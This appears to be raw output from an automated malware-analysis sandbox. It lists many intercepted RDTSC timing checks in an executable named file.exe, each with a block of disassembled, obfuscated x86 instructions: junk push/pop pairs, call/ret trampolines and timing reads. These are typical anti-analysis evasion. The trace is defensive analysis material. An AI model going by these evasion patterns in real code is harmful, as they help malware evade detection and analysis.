Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45624 second address: A45690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jg 00007FFBACBC1536h 0x0000000b pop ecx 0x0000000c popad 0x0000000d add dword ptr [esp], 4C292F9Fh 0x00000014 movzx esi, bx 0x00000017 push 00000003h 0x00000019 mov ecx, 4E00F45Bh 0x0000001e push 00000000h 0x00000020 jmp 00007FFBACBC1542h 0x00000025 push 00000003h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007FFBACBC1538h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 0000001Bh 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 xor edi, dword ptr [ebp+122D3730h] 0x00000047 push EDC9D25Ah 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 ja 00007FFBACBC1536h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45690 second address: A4569A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFBAD1BEC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4569A second address: A45726 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007FFBACBC1536h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 2DC9D25Ah 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FFBACBC1538h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d lea ebx, dword ptr [ebp+1245916Fh] 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007FFBACBC1538h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d mov esi, 5631FC2Eh 0x00000052 mov edi, eax 0x00000054 xchg eax, ebx 0x00000055 jne 00007FFBACBC154Fh 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jns 00007FFBACBC153Ch 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57FD9 second address: A57FDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57FDD second address: A57FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57FE3 second address: A57FFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFBAD1BEC44h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64726 second address: A6472F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6472F second address: A64749 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FFBAD1BEC3Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c jp 00007FFBAD1BEC36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64A0E second address: A64A2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FFBACBC1536h 0x0000000a jmp 00007FFBACBC1542h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64A2A second address: A64A59 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jc 00007FFBAD1BEC36h 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FFBAD1BEC45h 0x0000001b popad 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C17 second address: A64C1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C1B second address: A64C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C25 second address: A64C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C2B second address: A64C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C2F second address: A64C33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C33 second address: A64C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FFBAD1BEC36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C3F second address: A64C44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64DCB second address: A64DD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64DD1 second address: A64DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FFBACBC1536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64F99 second address: A64F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64F9F second address: A64FDB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FFBACBC153Ch 0x0000000c jmp 00007FFBACBC1547h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 jmp 00007FFBACBC153Bh 0x0000001a pop edi 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64FDB second address: A64FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64FE1 second address: A64FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65115 second address: A6516B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jno 00007FFBAD1BEC36h 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 jmp 00007FFBAD1BEC45h 0x00000019 popad 0x0000001a jo 00007FFBAD1BEC68h 0x00000020 jno 00007FFBAD1BEC3Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FFBAD1BEC46h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6516B second address: A6516F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65853 second address: A65859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65859 second address: A6585F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A68A second address: A3A6A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFBAD1BEC47h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A6A5 second address: A3A6C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFBACBC1548h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A665B0 second address: A665B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A665B6 second address: A665BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A665BA second address: A665D6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FFBAD1BEC36h 0x00000008 jmp 00007FFBAD1BEC3Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A665D6 second address: A665DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E4B9 second address: A6E4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E4CD second address: A6E4D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6E4D1 second address: A6E51E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBAD1BEC48h 0x00000007 je 00007FFBAD1BEC36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jng 00007FFBAD1BEC5Bh 0x00000015 jmp 00007FFBAD1BEC44h 0x0000001a jmp 00007FFBAD1BEC41h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A295DC second address: A295FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC153Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 jng 00007FFBACBC1536h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7142C second address: A71430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71430 second address: A71446 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFBACBC1536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f jnl 00007FFBACBC1536h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71446 second address: A7144C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7144C second address: A71452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71982 second address: A7198F instructions: 0x00000000 rdtsc 0x00000002 js 00007FFBAD1BEC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7198F second address: A71996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71996 second address: A719C3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFBAD1BEC42h 0x00000008 jns 00007FFBAD1BEC36h 0x0000000e jns 00007FFBAD1BEC36h 0x00000014 jp 00007FFBAD1BEC3Ch 0x0000001a jnl 00007FFBAD1BEC36h 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 jc 00007FFBAD1BEC36h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A719C3 second address: A719D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FFBACBC153Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71B13 second address: A71B1D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FFBAD1BEC36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71B1D second address: A71B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007FFBACBC1536h 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71B2D second address: A71B3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FFBAD1BEC36h 0x0000000a jnl 00007FFBAD1BEC36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71CB7 second address: A71CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jng 00007FFBACBC1536h 0x0000000c pop eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 push edx 0x00000015 jng 00007FFBACBC1536h 0x0000001b pushad 0x0000001c popad 0x0000001d pop edx 0x0000001e pushad 0x0000001f jo 00007FFBACBC1536h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A71CDE second address: A71CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7500B second address: A7500F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7500F second address: A75019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A75019 second address: A7501D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7501D second address: A75021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A755FC second address: A75602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A75602 second address: A75606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A756CD second address: A756D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7613B second address: A76145 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFBAD1BEC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76145 second address: A76185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC153Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FFBACBC1538h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76185 second address: A76189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A776B4 second address: A776BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7871C second address: A78720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78720 second address: A78736 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1542h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78736 second address: A787B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBAD1BEC48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FFBAD1BEC38h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 or dword ptr [ebp+122D261Dh], ecx 0x0000002c push 00000000h 0x0000002e ja 00007FFBAD1BEC3Ah 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007FFBAD1BEC38h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 push ebx 0x00000051 mov esi, 37D8D3D8h 0x00000056 pop esi 0x00000057 xchg eax, ebx 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A787B6 second address: A787BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A787BA second address: A787C4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FFBAD1BEC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A787C4 second address: A787E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FFBACBC1536h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007FFBACBC153Fh 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BDDB second address: A7BDEA instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFBAD1BEC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BDEA second address: A7BE03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FFBACBC1541h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BE03 second address: A7BE19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FFBAD1BEC3Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BE19 second address: A7BE1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BE1D second address: A7BE21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B0B7 second address: A2B0BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7CDAB second address: A7CE02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f jne 00007FFBAD1BEC37h 0x00000015 push 00000000h 0x00000017 mov esi, 08F1EDD5h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007FFBAD1BEC38h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 jg 00007FFBAD1BEC3Ch 0x0000003e xchg eax, ebx 0x0000003f js 00007FFBAD1BEC42h 0x00000045 jo 00007FFBAD1BEC3Ch 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D94F second address: A7D96E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFBACBC1543h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D96E second address: A7D972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D972 second address: A7D978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E45C second address: A7E460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E460 second address: A7E481 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FFBACBC153Fh 0x00000010 jbe 00007FFBACBC1536h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7E1AE second address: A7E1C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jnl 00007FFBAD1BEC4Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FFBAD1BEC36h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7EE62 second address: A7EED9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FFBACBC1538h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FFBACBC1538h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D26B6h], ebx 0x0000002f push 00000000h 0x00000031 jns 00007FFBACBC153Ch 0x00000037 add dword ptr [ebp+12483326h], ecx 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push edx 0x00000042 call 00007FFBACBC1538h 0x00000047 pop edx 0x00000048 mov dword ptr [esp+04h], edx 0x0000004c add dword ptr [esp+04h], 00000017h 0x00000054 inc edx 0x00000055 push edx 0x00000056 ret 0x00000057 pop edx 0x00000058 ret 0x00000059 sub di, FF48h 0x0000005e xchg eax, ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 jbe 00007FFBACBC1538h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F699 second address: A7F6BC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FFBAD1BEC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FFBAD1BEC42h 0x00000010 jmp 00007FFBAD1BEC3Ch 0x00000015 popad 0x00000016 push eax 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
